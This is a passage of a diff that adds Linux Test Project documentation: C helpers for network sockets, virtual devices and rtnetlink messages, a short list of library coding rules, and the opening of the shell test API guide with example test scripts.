+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
++#include "tst_net.h"+
+
+LTP library also provides helper functions for quick initialization of socket
+address structures:
+
+- +void tst_get_in_addr(const char *ip_str, struct in_addr *ip)+ – Convert
+  human-readable IPv4 address string +ip_str+ to binary representation in
+  network byte order. The converted value will be stored in the second argument.
+
+- +void tst_get_in6_addr(const char *ip_str, struct in6_addr *ip6)+ – Convert
+  human-readable IPv6 address string +ip_str+ to binary representation in
+  network byte order. The converted value will be stored in the second argument.
+
+- +socklen_t tst_get_connect_address(int sock, struct sockaddr_storage *addr)+ –
+  Find the address which can be used to send data to bound socket +sock+ from
+  another socket. The address will be stored in the second argument. This
+  function automatically converts wildcard bind address to localhost. Returns
+  size of the address in bytes.
+
+- +void tst_init_sockaddr_inet(struct sockaddr_in *sa, const char *ip_str,
+  uint16_t port)+ – Initialize socket address structure +sa+ using
+  human-readable IPv4 address +ip_str+ and port number +port+ in host byte
+  order.
+
+- +void tst_init_sockaddr_inet_bin(struct sockaddr_in *sa, uint32_t ip_val,
+  uint16_t port)+ – Initialize socket address structure +sa+ using binary IPv4
+  address +ip_val+ and port number +port+, both in host byte order.
+
+- +void tst_init_sockaddr_inet6(struct sockaddr_in6 *sa, const char *ip_str,
+  uint16_t port)+ – Initialize socket address structure +sa+ using
+  human-readable IPv6 address +ip_str+ and port number +port+ in host byte
+  order.
+
+- +void tst_init_sockaddr_inet6_bin(struct sockaddr_in6 *sa, const struct
+  in6_addr *ip_val, uint16_t port)+ – Initialize socket address structure +sa+
+  using binary IPv6 address +ip_val+ and port number +port+, both in host byte
+  order.
+
+.Example Usage
+[source,c]
+-------------------------------------------------------------------------------
+
+#include <sys/socket.h>
+#include <netinet/in.h>
+
+#include "tst_test.h"
+#include "tst_safe_net.h"
+#include "tst_net.h"
+
+static int sockfd = -1;
+
+static void setup(void)
+{
+	struct sockaddr_in addr;
+
+	tst_init_sockaddr_inet_bin(&addr, INADDR_ANY, 0);
+	sockfd = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0);
+	SAFE_SETSOCKOPT_INT(sockfd, SOL_SOCKET, SO_SNDBUF, 4096);
+	SAFE_BIND(sockfd, (struct sockaddr *)&addr, sizeof(addr));
+	SAFE_LISTEN(sockfd, 8);
+}
+
+-------------------------------------------------------------------------------
+
+2 Configuring network devices
+-----------------------------
+
++#include "tst_netdevice.h"+
+
+When opening a localhost socket isn't enough and the test needs special device
+or routing configuration, the netdevice library can create the required network
+setup without calling external programs. Internally, the netdevice functions
+use a rtnetlink socket to communicate with the kernel.
+
+All of these functions will call +tst_brk()+ on failure, unless stated
+otherwise. Error values described below are returned only during test cleanup
+stage.
+
+2.1 Network device management
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+- +int NETDEV_INDEX_BY_NAME(const char *ifname)+ – Returns the device index for
+  the given device name, or -1 on error.
+
+- +int NETDEV_SET_STATE(const char *ifname, int up)+ – Enable or disable a
+  network device +ifname+. Returns 0 on success, -1 on error.
+
+- +int CREATE_VETH_PAIR(const char *ifname1, const char *ifname2)+ – Creates a
+  connected pair of virtual network devices with given device names. Returns 1
+  on success, 0 on error. Add +"CONFIG_VETH"+ to +test.needs_kconfigs+ if your
+  test calls this function.
+
+- +int NETDEV_ADD_DEVICE(const char *ifname, const char *devtype)+ - Creates
+  a new network device named +ifname+ of specified device type. Returns 1 on
+  success, 0 on error.
+
+- +int NETDEV_REMOVE_DEVICE(const char *ifname)+ – Removes network device
+  +ifname+. Returns 1 on success, 0 on error.
+
+2.2 Network address management
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+- +int NETDEV_ADD_ADDRESS(const char \*ifname, unsigned int family, const void
+  *address, unsigned int prefix, size_t addrlen, unsigned int flags)+ – Adds
+  new address to network device +ifname+. This is a low-level function which
+  allows setting any type of address. You must specify the protocol +family+,
+  address length in bytes (+addrlen+) and network prefix length (+prefix+). The
+  +address+ itself must be in binary representation in network byte order. You
+  can also pass rtnetlink flags from the +IFA_F_*+ group. Returns 1 on success,
+  0 on error.
+
+- +int NETDEV_ADD_ADDRESS_INET(const char *ifname, in_addr_t address, unsigned
+  int prefix, unsigned int flags)+ – Adds new IPv4 address to network device
+  +ifname+. Parameters have the same meaning as in +NETDEV_ADD_ADDRESS()+.
+  Returns 1 on success, 0 on error.
+
+- +int NETDEV_REMOVE_ADDRESS(const char *ifname, unsigned int family, const
+  void *address, size_t addrlen)+ – Removes the specified address from network
+  device +ifname+. Parameters have the same meaning as in
+  +NETDEV_ADD_ADDRESS()+. Returns 1 on success, 0 on error.
+
+- +int NETDEV_REMOVE_ADDRESS_INET(const char *ifname, in_addr_t address)+ –
+  Removes specified IPv4 +address+ (in network byte order) from network device
+  +ifname+. Returns 1 on success, 0 on error.
+
+2.3 Network namespace device assignment
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+WARNING: Moving a network device to another namespace will erase previous
+         configuration. Move the device to the correct namespace first, then
+         configure it.
+
+- +int NETDEV_CHANGE_NS_FD(const char *ifname, int nsfd)+ – Moves network
+  device +ifname+ to network namespace designated by open file descriptor
+  +nsfd+. Returns 1 on success, 0 on error.
+
+- +int NETDEV_CHANGE_NS_PID(const char *ifname, pid_t nspid)+ – Moves network
+  device +ifname+ to the network namespace currently used by process +nspid+.
+  Returns 1 on success, 0 on error.
+
+2.4 Routing table management
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+- +int NETDEV_ADD_ROUTE(const char *ifname, unsigned int family, const void
+  *srcaddr, unsigned int srcprefix, size_t srclen, const void *dstaddr,
+  unsigned int dstprefix, size_t dstlen, const void *gateway, size_t
+  gatewaylen)+ – Adds new route to the main routing table. This is a low-level
+  function which allows creating routes for any protocol. You must specify the
+  protocol +family+ and either network device name +ifname+ or +gateway+
+  address. Both packet source address +srcaddr+ and destination address
+  +dstaddr+ are optional. You must also specify the corresponding length
+  and prefix argument for any address which is not +NULL+. All addresses must
+  be in binary representation in network byte order. Returns 1 on success,
+  0 on error.
+
+- +int NETDEV_ADD_ROUTE_INET(const char *ifname, in_addr_t srcaddr, unsigned
+  int srcprefix, in_addr_t dstaddr, unsigned int dstprefix, in_addr_t
+  gateway)+ – Adds new IPv4 route to the main routing table. Parameters have
+  the same meaning as in +NETDEV_ADD_ROUTE()+. If you do not want to set
+  explicit +gateway+ address, set it to 0. If the routing rule should ignore
+  the source or destination address, set the corresponding prefix argument
+  to 0. Returns 1 on success, 0 on error.
+
+- +int NETDEV_REMOVE_ROUTE(const char *ifname, unsigned int family, const void
+  *srcaddr, unsigned int srcprefix, size_t srclen, const void *dstaddr,
+  unsigned int dstprefix, size_t dstlen, const void *gateway, size_t
+  gatewaylen)+ – Removes a route from the main routing table. Parameters have
+  the same meaning as in +NETDEV_ADD_ROUTE()+. Returns 1 on success, 0 on
+  error.
+
+- +int NETDEV_REMOVE_ROUTE_INET(const char *ifname, in_addr_t srcaddr,
+  unsigned int srcprefix, in_addr_t dstaddr, unsigned int dstprefix, in_addr_t
+  gateway)+ – Removes IPv4 route from the main routing table. Parameters have
+  the same meaning as in +NETDEV_ADD_ROUTE_INET()+. Returns 1 on success,
+  0 on error.
+
+.Example Usage
+[source,c]
+-------------------------------------------------------------------------------
+#include <arpa/inet.h>
+#include <linux/if_addr.h>
+#include "tst_test.h"
+#include "tst_netdevice.h"
+
+...
+
+static void setup(void)
+{
+	CREATE_VETH_PAIR("ltp_veth1", "ltp_veth2");
+	NETDEV_ADD_ADDRESS_INET("ltp_veth2", htonl(DSTADDR), NETMASK,
+		IFA_F_NOPREFIXROUTE);
+	NETDEV_SET_STATE("ltp_veth2", 1);
+	NETDEV_ADD_ROUTE_INET("ltp_veth2", 0, 0, htonl(SRCNET), NETMASK, 0);
+
+	NETDEV_ADD_ADDRESS_INET("ltp_veth1", htonl(SRCADDR), NETMASK,
+		IFA_F_NOPREFIXROUTE);
+	NETDEV_SET_STATE("ltp_veth1", 1);
+	NETDEV_ADD_ROUTE_INET("ltp_veth1", 0, 0, htonl(DSTNET), NETMASK, 0);
+	...
+}
+-------------------------------------------------------------------------------
+
+3 rtnetlink API
+---------------
+
++#include "tst_rtnetlink.h"+
+
+The rtnetlink library provides helper functions for constructing and sending
+arbitrary messages and parsing kernel responses.
+
+All of the functions below will call +tst_brk()+ on failure, unless stated
+otherwise. Error values described below are returned only during test cleanup
+stage.
+
+3.1 Data structures
+~~~~~~~~~~~~~~~~~~~
+
+[source,c]
+-------------------------------------------------------------------------------
+struct tst_rtnl_context;
+
+struct tst_rtnl_attr_list {
+	unsigned short type;
+	const void *data;
+	ssize_t len;
+	const struct tst_rtnl_attr_list *sublist;
+};
+
+struct tst_rtnl_message {
+	struct nlmsghdr *header;
+	struct nlmsgerr *err;
+	void *payload;
+	size_t payload_size;
+};
+-------------------------------------------------------------------------------
+
++struct tst_rtnl_context+ is an opaque rtnetlink socket with buffer for
+constructing and sending arbitrary messages using the functions described
+below. Create a new context using +RTNL_CREATE_CONTEXT()+, then free it using
++RTNL_DESTROY_CONTEXT()+ when you're done with it.
+
++struct tst_rtnl_attr_list+ is a helper structure for defining complex
+rtnetlink message attribute payloads, including nested attribute lists. Every
+list and sublist defined using this structure is terminated by item with
+negative +len+.
+
+- +type+ is the attribute type that will be stored in +struct rtattr.rta_type+.
+
+- +data+ contains arbitrary attribute payload.
+
+- +len+ contains length of the +data+ attribute in bytes. If +data+ is +NULL+,
+  set +len+ to 0. The last item in a list or sublist must have negative length.
+
+- +sublist+ contains a nested attribute list which will be appended after
+  +data+ as part of the attribute payload. +struct rtattr.rta_len+ will be
+  calculated automatically with proper alignment, do _not_ add the sublist size
+  to the +len+ field. If you do not want to add nested attributes, set
+  +sublist+ to +NULL+.
+
++struct tst_rtnl_message+ is a structure holding partially parsed rtnetlink
+messages received from the kernel. +RTNL_RECV()+ returns an array of these
+structures with the last item having +NULL+ in the +header+ field. Call
++RTNL_FREE_MESSAGE()+ to free a message list returned by +RTNL_RECV()+.
+
+- +header+ is the netlink header structure of the message. +NULL+ in the header
+  field terminates a list of messages.
+
+- +err+ points to the payload of +NLMSG_ERROR+ messages. It is set to +NULL+
+  for all other message types.
+
+- +payload+ is a pointer to message data.
+
+- +payload_size+ is the length of +payload+ data in bytes.
+
+3.2 Sending and receiving messages
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+- +struct tst_rtnl_context *RTNL_CREATE_CONTEXT(void)+ – Creates a new
+  rtnetlink communication context for use with the functions described below.
+  Returns +NULL+ on error.
+
+- +void RTNL_FREE_MESSAGE(struct tst_rtnl_message *msg)+ – Frees an array of
+  messages returned by +RTNL_RECV()+.
+
+- +void RTNL_DESTROY_CONTEXT(struct tst_rtnl_context *ctx)+ – Closes a
+  communication context created by +RTNL_CREATE_CONTEXT()+.
+
+- +int RTNL_SEND(struct tst_rtnl_context *ctx)+ – Sends all messages waiting
+  in +ctx+ buffer to the kernel. If there are multiple messages to send, a new
+  +NLMSG_DONE+ message will be added automatically. Returns the number of
+  bytes sent on success. Return 0 or negative value on error.
+
+- +int RTNL_SEND_VALIDATE(struct tst_rtnl_context *ctx)+ – Sends all messages
+  just like +RTNL_SEND()+, then receives the response from the kernel and
+  validates results of requests sent with the +NLM_F_ACK+ flag. This function
+  calls +tst_brk()+ as usual if communication fails but it will return error
+  status without terminating the test if one of the received messages contains
+  error code. See +RTNL_CHECK_ACKS()+ below for explanation of the return
+  value.
+
+- +int RTNL_WAIT(struct tst_rtnl_context *ctx)+ – Waits until data becomes
+  available to read from the rtnetlink socket (timeout: 1 second). Returns 1
+  if there is data to read, 0 on timeout or -1 on error.
+
+- +struct tst_rtnl_message *RTNL_RECV(struct tst_rtnl_context *ctx)+ – Receives
+  rtnetlink messages from the kernel. The messages are received in non-blocking
+  mode so calling +RTNL_WAIT()+ first is recommended. Returns an array of
+  partially parsed messages terminated by an item with +NULL+ in the +header+
+  field. On error or when there are no messages to receive, returns +NULL+.
+  Call +RTNL_FREE_MESSAGE()+ to free the returned data.
+
+- +int RTNL_CHECK_ACKS(struct tst_rtnl_context *ctx, struct tst_rtnl_message
+  *response)+ – Validate results of requests sent with the +NLM_F_ACK+ flag.
+  Do not call +RTNL_ADD_MESSAGE()+ between +RTNL_SEND()+ and
+  +RTNL_CHECK_ACKS()+ because it will reset the state of +ctx+ and prevent
+  result validation. Returns 1 if all messages sent with the +NLM_F_ACK+ flag
+  have a corresponding message in +response+ and the error code is 0. If any
+  of the expected response messages is missing, this function will call
+  +tst_brk()+ (or return 0 during test cleanup phase). If any of the response
+  messages has non-zero error code, this function will return 0 and store the
+  first non-zero error code in global variable +tst_rtnl_errno+ (sign-flipped
+  just like regular libc +errno+).
+
+3.3 Creating messages
+~~~~~~~~~~~~~~~~~~~~~
+
+- +int RTNL_ADD_MESSAGE(struct tst_rtnl_context *ctx, const struct nlmsghdr
+  *header, const void *payload, size_t payload_size)+ – Adds new rtnetlink
+  message to +ctx+ buffer. You need to provide message +header+ and optional
+  +payload+. +payload_size+ is the size of +payload+ data in bytes. If you
+  don't want to add any payload data, set +payload+ to +NULL+ and
+  +payload_size+ to 0. This function will automatically fill the +nlmsg_len+,
+  +nlmsg_seq+ and +nlmsg_pid+ fields of the new message header. You don't need
+  to set those. It'll also automatically add +NLM_F_MULTI+ flag when needed.
+  Returns 1 on success, 0 on error. Note that the first call of
+  +RTNL_ADD_MESSAGE()+ after +RTNL_SEND()+ will reset the state of +ctx+
+  and +RTNL_CHECK_ACKS()+ will not work correctly until the next +RTNL_SEND()+.
+
+- +int RTNL_ADD_ATTR(struct tst_rtnl_context *ctx, unsigned short type, const
+  void *data, unsigned short len)+ – Adds new attribute to the last message
+  in +ctx+ buffer. See +RTNL_ADD_MESSAGE()+. You need to provide attribute
+  +type+ which will be stored in +struct rtattr.rta_type+, optional payload
+  +data+ and payload size +len+ in bytes. If you don't want to add any payload,
+  set +data+ to +NULL+ and +len+ to 0. Returns 1 on success, 0 on error.
+
+- +int RTNL_ADD_ATTR_STRING(struct tst_rtnl_context *ctx, unsigned short type,
+  const char *data)+ – Adds new string attribute to the last message in +ctx+
+  buffer. Parameters and return value are the same as for +RTNL_ADD_ATTR()+,
+  except the payload length is calculated using +strlen()+.
+
+- +int RTNL_ADD_ATTR_LIST(struct tst_rtnl_context *ctx, const struct
+  tst_rtnl_attr_list *list)+ – Adds a list of attributes to the last message
+  in +ctx+ buffer. See description of +struct tst_rtnl_attr_list+ and
+  +RTNL_ADD_MESSAGE()+ above.  Returns the number of added attributes on
+  success (nested attributes are not counted), -1 on error.
+
+.Example Usage
+[source,c]
+-------------------------------------------------------------------------------
+#include <asm/types.h>
+#include <linux/netlink.h>
+#include <linux/rtnetlink.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+
+#include "tst_test.h"
+#include "tst_rtnetlink.h"
+#include "tst_netdevice.h"
+
+...
+
+void setup(void)
+{
+	struct tst_rtnl_context *ctx;
+	int index, ret;
+	in_addr_t addr;
+
+	struct nlmsghdr header = {
+		.nlmsg_type = RTM_NEWADDR,
+		.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE |
+			NLM_F_EXCL
+	};
+
+	struct ifaddrmsg info = {
+		.ifa_family = AF_INET,
+		.ifa_prefixlen = 24
+	};
+
+	index = NETDEV_INDEX_BY_NAME("ltp_veth1");
+	info.ifa_index = index;
+
+	ctx = RTNL_CREATE_CONTEXT();
+	RTNL_ADD_MESSAGE(ctx, &header, &info, sizeof(info));
+	addr = inet_addr("192.168.123.45");
+	RTNL_ADD_ATTR(ctx, IFA_LOCAL, &addr, sizeof(addr));
+	ret = RTNL_SEND_VALIDATE(ctx);
+	RTNL_DESTROY_CONTEXT(ctx);
+
+	if (!ret) {
+		tst_brk(TBROK, "Failed to set ltp_veth1 address");
+	}
+}
+-------------------------------------------------------------------------------
diff --git a/doc/rules.tsv b/doc/rules.tsv
new file mode 100644
index 0000000..66dbdec
--- /dev/null
+++ b/doc/rules.tsv
@@ -0,0 +1,6 @@
+ID	DESCRIPTION
+LTP-001	Library source files have tst_ prefix
+LTP-002	TST_RET and TST_ERR are never modified by test library functions
+LTP-003 Externally visible library symbols have the tst_ prefix
+LTP-004 Test executable symbols are marked static
+LTP-005 Array must terminate with a sentinel value (i.e. NULL or '{}')
diff --git a/doc/shell-test-api.txt b/doc/shell-test-api.txt
new file mode 100644
index 0000000..73c9eff
--- /dev/null
+++ b/doc/shell-test-api.txt
@@ -0,0 +1,814 @@
+LTP Shell Test API
+==================
+
+NOTE: See also
+      https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[Test Writing Guidelines],
+      https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API].
+
+1 Writing a testcase in shell
+-----------------------------
+
+LTP supports testcases to be written in a portable shell too.
+
+There is a shell library modeled closely to the C interface at
+'testcases/lib/tst_test.sh'.
+
+WARNING: All identifiers starting with 'TST_' or 'tst_' are reserved for the
+         test library.
+
+1.1 Basic test interface
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# This is a basic test for true shell builtin
+
+TST_TESTFUNC=do_test
+. tst_test.sh
+
+do_test()
+{
+	true
+	ret=$?
+
+	if [ $ret -eq 0 ]; then
+		tst_res TPASS "true returned 0"
+	else
+		tst_res TFAIL "true returned $ret"
+	fi
+}
+
+. tst_test.sh
+tst_run
+-------------------------------------------------------------------------------
+
+TIP: To execute this test the 'tst_test.sh' library must be in '$PATH'. If you
+     are executing the test from a git checkout you can run it as
+     'PATH="$PATH:../../lib" ./foo01.sh'
+
+The shell library expects test setup, cleanup and the test function executing
+the test in the '$TST_SETUP', '$TST_CLEANUP' and '$TST_TESTFUNC' variables.
+
+Both '$TST_SETUP' and '$TST_CLEANUP' are optional.
+
+The '$TST_TESTFUNC' may be called several times if more than one test
+iteration was requested by passing right command line options to the test.
+
+The '$TST_CLEANUP' may be called even in the middle of the setup and must be
+able to clean up correctly even in this situation. The easiest solution for
+this is to keep track of what was initialized and act accordingly in the
+cleanup.
+
+WARNING: Similar to the C library, calling 'tst_brk' in the $TST_CLEANUP does
+         not exit the test and 'TBROK' is converted to 'TWARN'.
+
+Notice also the 'tst_run' shell API function called at the end of the test that
+actually starts the test.
+
+WARNING: cleanup function is called only after 'tst_run' has been started.
+Calling 'tst_brk' in shell libraries, e.g. 'tst_test.sh' or 'tst_net.sh' does
+not trigger calling it.
+
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Example test with tests in separate functions
+
+TST_TESTFUNC=test
+TST_CNT=2
+. tst_test.sh
+
+test1()
+{
+	tst_res TPASS "Test $1 passed"
+}
+
+test2()
+{
+	tst_res TPASS "Test $1 passed"
+}
+
+. tst_test.sh
+tst_run
+# output:
+# foo 1 TPASS: Test 1 passed
+# foo 2 TPASS: Test 2 passed
+-------------------------------------------------------------------------------
+
+If '$TST_CNT' is set, the test library looks if there are functions named
+'$\{TST_TESTFUNC\}1', ..., '$\{TST_TESTFUNC\}$\{TST_CNT\}' and if these are
+found they are executed one by one. The test number is passed to it in the '$1'.
+
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Example test with tests in a single function
+
+TST_TESTFUNC=do_test
+TST_CNT=2
+. tst_test.sh
+
+do_test()
+{
+	case $1 in
+	1) tst_res TPASS "Test $1 passed";;
+	2) tst_res TPASS "Test $1 passed";;
+	esac
+}
+
+. tst_test.sh
+tst_run
+# output:
+# foo 1 TPASS: Test 1 passed
+# foo 2 TPASS: Test 2 passed
+-------------------------------------------------------------------------------
+
+Otherwise, if '$TST_CNT' is set but there is no '$\{TST_TESTFUNC\}1', etc.,
+the '$TST_TESTFUNC' is executed '$TST_CNT' times and the test number is passed
+to it in the '$1'.
+
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Example test with tests in a single function, using $TST_TEST_DATA and
+# $TST_TEST_DATA_IFS
+
+TST_TESTFUNC=do_test
+TST_TEST_DATA="foo:bar:d dd"
+TST_TEST_DATA_IFS=":"
+. tst_test.sh
+
+do_test()
+{
+	tst_res TPASS "Test $1 passed with data '$2'"
+}
+
+. tst_test.sh
+tst_run
+# output:
+# foo 1 TPASS: Test 1 passed with data 'foo'
+# foo 2 TPASS: Test 1 passed with data 'bar'
+# foo 3 TPASS: Test 1 passed with data 'd dd'
+-------------------------------------------------------------------------------
+
+It's possible to pass data for function with '$TST_TEST_DATA'. Optional
+'$TST_TEST_DATA_IFS' is used for splitting, default value is space.
+
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Example test with tests in a single function, using $TST_TEST_DATA and $TST_CNT
+
+TST_TESTFUNC=do_test
+TST_CNT=2
+TST_TEST_DATA="foo bar"
+. tst_test.sh
+
+do_test()
+{
+	case $1 in
+	1) tst_res TPASS "Test $1 passed with data '$2'";;
+	2) tst_res TPASS "Test $1 passed with data '$2'";;
+	esac
+}
+
+. tst_test.sh
+tst_run
+# output:
+# foo 1 TPASS: Test 1 passed with data 'foo'
+# foo 2 TPASS: Test 2 passed with data 'foo'
+# foo 3 TPASS: Test 1 passed with data 'bar'
+# foo 4 TPASS: Test 2 passed with data 'bar'
+-------------------------------------------------------------------------------
+
+'$TST_TEST_DATA' can be used with '$TST_CNT'. If '$TST_TEST_DATA_IFS' not specified,
+space as default value is used. Of course, it's possible to use separate functions.
+
+1.2 Library environment variables and functions for shell
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Similarily to the C library various checks and preparations can be requested
+simply by setting right '$TST_FOO'.
+
+[options="header"]
+|=============================================================================
+| Variable name            | Action done
+| 'TST_ALL_FILESYSTEMS'    | Testing on all available filesystems
+                             ('tst_test.all_filesystems' equivalent).
+                             When 'TST_SKIP_FILESYSTEMS' any listed filesystem is not
+                             included in the resulting list of supported filesystems.
+| 'TST_DEV_EXTRA_OPTS'     | Pass extra 'mkfs' options _after_ device name,
+                             to 'tst_mkfs', use with 'TST_FORMAT_DEVICE=1'.
+| 'TST_DEV_FS_OPTS'        | Pass 'mkfs' options _before_ the device name,
+                             to 'tst_mkfs', use with 'TST_FORMAT_DEVICE=1'.
+| 'TST_FORMAT_DEVICE'      | Format a block device with a filesystem, see
+                             https://github.com/linux-test-project/ltp/wiki/Shell-Test-API#formatting-device-with-a-filesystem[Formatting device with a filesystem].
+                             See also 'TST_DEV_EXTRA_OPTS', 'TST_DEV_FS_OPTS', 'TST_FS_TYPE'.
+                             Implies 'TST_NEEDS_DEVICE=1' (no need to set it).
+| 'TST_DEVICE'             | Block device name for 'tst_mount' and 'tst_mkfs', see
+                             https://github.com/linux-test-project/ltp/wiki/Shell-Test-API#formatting-device-with-a-filesystem[Formatting device with a filesystem].
+| 'TST_FS_TYPE'            | Override the default filesystem to be used. Also
+                             contains currently used filesystem during looping
+                             filesystems in 'TST_ALL_FILESYSTEMS=1'
+                             ('tst_device->fs_type' equivalent).
+| 'TST_MNTPOINT'           | Holds path to mountpoint used in 'tst_mount', see
+                             https://github.com/linux-test-project/ltp/wiki/Shell-Test-API#formatting-device-with-a-filesystem[Formatting device with a filesystem].
+| 'TST_MNT_PARAMS'         | Extra mount params for 'tst_mount', see
+                             https://github.com/linux-test-project/ltp/wiki/Shell-Test-API#formatting-device-with-a-filesystem[Formatting device with a filesystem].
+| 'TST_MOUNT_DEVICE'       | Mount device, see
+                             https://github.com/linux-test-project/ltp/wiki/Shell-Test-API#mounting-and-unmounting-filesystems[Mounting and unmounting filesystems].
+| 'TST_NEEDS_ROOT'         | Exit the test with 'TCONF' unless executed under root.
+                             Alternatively the 'tst_require_root' command can be used.
+| 'TST_NEEDS_TMPDIR'       | Create test temporary directory and cd into it.
+| 'TST_NEEDS_DEVICE'       | Prepare test temporary device, the path to testing
+                             device is stored in '$TST_DEVICE' variable.
+                             The option implies 'TST_NEEDS_TMPDIR'.
+| 'TST_NEEDS_CMDS'         | String with command names that has to be present for
+                             the test (see below).
+| 'TST_NEEDS_MODULE'       | Test module name needed for the test (see below).
+| 'TST_NEEDS_DRIVERS'      | Checks kernel drivers support for the test.
+| 'TST_NEEDS_KCONFIGS'     | Checks kernel kconfigs support for the test (see below).
+| 'TST_NEEDS_KCONFIGS_IFS' | Used for splitting '$TST_NEEDS_KCONFIGS' variable,
+                             default value is comma, it only supports single character.
+| 'TST_SKIP_FILESYSTEMS'   | Comma separated list of filesystems on which test will be skipped
+                             (tst_test.skip_filesystems equivalent).
+| 'TST_TIMEOUT'            | Maximum timeout set for the test in sec. Must be int >= 1,
+                             or -1 (special value to disable timeout), default is 300.
+                             Variable is meant be set in tests, not by user.
+                             It's an equivalent of `tst_test.timeout` in C, can be set
+                             via 'tst_set_timeout(timeout)' after test has started.
+|=============================================================================
+
+[options="header"]
+|=============================================================================
+| Function name              | Action done
+| 'tst_set_timeout(timeout)' | Maximum timeout set for the test in sec.
+                               See 'TST_TIMEOUT' variable.
+|=============================================================================
+
+NOTE: Network tests (see testcases/network/README.md) use additional variables
+and functions in 'tst_net.sh'.
+
+Checking for presence of commands
++++++++++++++++++++++++++++++++++
+
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+
+...
+
+TST_NEEDS_CMDS="modinfo modprobe"
+. tst_test.sh
+
+...
+
+-------------------------------------------------------------------------------
+
+Setting '$TST_NEEDS_CMDS' to a string listing required commands will check for
+existence each of them and exits the test with 'TCONF' on first missing.
+
+Alternatively the 'tst_require_cmds()' function can be used to do the same on
+runtime, since sometimes we need to the check at runtime too.
+
+'tst_check_cmds()' can be used for requirements just for a particular test
+as it doesn't exit (it issues 'tst_res TCONF'). Expected usage is:
+
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+
+TST_TESTFUNC=do_test
+. tst_test.sh
+
+do_test()
+{
+	tst_check_cmds cmd || return
+	cmd --foo
+	...
+}
+
+. tst_test.sh
+tst_run
+-------------------------------------------------------------------------------
+
+Locating kernel modules
++++++++++++++++++++++++
+
+The LTP build system can build kernel modules as well, setting
+'$TST_NEEDS_MODULE' to module name will cause the library to look for the
+module in a few possible paths.
+
+If module was found the path to it will be stored into '$TST_MODPATH'
+variable, if module wasn't found the test will exit with 'TCONF'.
+
+Alternatively the 'tst_require_module()' function can be used to do the same
+at runtime.
+
+1.3 Optional command line parameters
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Optional test command line parameters
+
+TST_OPTS="af:"
+TST_USAGE=usage
+TST_PARSE_ARGS=parse_args
+TST_TESTFUNC=do_test
+
+. tst_test.sh
+
+ALTERNATIVE=0
+MODE="foo"
+
+usage()
+{
+	cat << EOF
+usage: $0 [-a] [-f <foo|bar>]
+
+OPTIONS
+-a     Enable support for alternative foo
+-f     Specify foo or bar mode
+EOF
+}
+
+parse_args()
+{
+	case $1 in
+	a) ALTERNATIVE=1;;
+	f) MODE="$2";;
+	esac
+}
+
+do_test()
+{
+	...
+}
+
+. tst_test.sh
+tst_run
+-------------------------------------------------------------------------------
+
+The 'getopts' string for optional parameters is passed in the '$TST_OPTS'
+variable. There are a few default parameters that cannot be used by a test,
+these can be listed with passing help '-h' option to any test.
+
+The function that prints the usage is passed in '$TST_USAGE', the help for
+the options implemented in the library is appended when usage is printed.
+
+Lastly the function '$PARSE_ARGS' is called with the option name in the '$1'
+and, if option has argument, its value in the '$2'.
+
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Optional test positional parameters
+
+TST_POS_ARGS=3
+TST_USAGE=usage
+TST_TESTFUNC=do_test
+
+. tst_test.sh
+
+usage()
+{
+	cat << EOF
+usage: $0 [min] [max] [size]
+
+EOF
+}
+
+min="$1"
+max="$2"
+size="$3"
+
+do_test()
+{
+	...
+}
+
+. tst_test.sh
+tst_run
+-------------------------------------------------------------------------------
+
+You can also request a number of positional parameters by setting the
+'$TST_POS_ARGS' variable. If you do, these will be available as they were
+passed directly to the script in '$1', '$2', ..., '$n'.
+
+1.4 Useful library functions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Retrieving configuration variables
+++++++++++++++++++++++++++++++++++
+
+You may need to retrieve configuration values such as PAGESIZE, there is
+'getconf' but as some system may not have it, you are advised to use
+'tst_getconf' instead. Note that it implements subset of 'getconf'
+system variables used by the testcases only.
+
+[source,sh]
+-------------------------------------------------------------------------------
+# retrieve PAGESIZE
+pagesize=`tst_getconf PAGESIZE`
+-------------------------------------------------------------------------------
+
+Sleeping for subsecond intervals
+++++++++++++++++++++++++++++++++
+
+Albeit there is a sleep command available basically everywhere not all
+implementations can support sleeping for less than one second. And most of the
+time sleeping for a second is too much. Therefore LTP includes 'tst_sleep'
+that can sleep for defined amount of seconds, milliseconds or microseconds.
+
+[source,sh]
+-------------------------------------------------------------------------------
+# sleep for 100 milliseconds
+tst_sleep 100ms
+-------------------------------------------------------------------------------
+
+Retry a function call multiple times
+++++++++++++++++++++++++++++++++++++
+
+Sometimes an LTP test needs to retry a function call multiple times because
+the system is not ready to process it successfully on the first try. The LTP
+library has useful tools to handle the call retry automatically.
+'TST_RETRY_FUNC()' will keep retrying for up to 1 second. If you want a custom
